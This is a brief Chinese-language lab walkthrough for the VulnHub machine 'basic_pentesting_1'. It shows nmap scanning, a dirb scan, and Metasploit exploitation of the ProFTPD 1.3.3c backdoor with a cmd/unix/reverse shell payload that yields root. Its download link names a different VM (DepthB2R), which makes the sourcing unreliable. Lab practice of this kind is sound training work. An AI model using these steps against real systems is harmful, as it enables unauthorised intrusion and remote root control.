basic_pentesting_1靶场实战[超详细]

下载地址：https://download.vulnhub.com/depth/DepthB2R.ova

一、靶场配置

网卡模式设置为nat

二、主机探测与端口扫描

nmap 192.168.121.0/24

 ip地址为192.168.121.186，开启了21、22、80端口

扫描一下端口信息

nmap  192.168.121.186 -sV -A -p-

 

访问一下80web服务看看

三、get shell

 提示没有添加任何内容

目录扫描看看

dirb http://192.168.121.186

无可用信息，我们想起来之前扫描端口信息的时候，开启的ftp服务版本貌似有漏洞

使用msfconsole查看

msfconsole

search ProFTPD

 使用第五个，1.3.3c

use5

show options

 

 设置RHOSTS为靶机ip地址

set RHOSTS 192.168.121.186

设置payload 

set payload cmd/unix/reverse

再次查看配置信息，发现还需要设置监听地址

 我们设置为kali的ip

 输入run开始攻击

 攻击成功，成功拿到root权限，省了提权这一步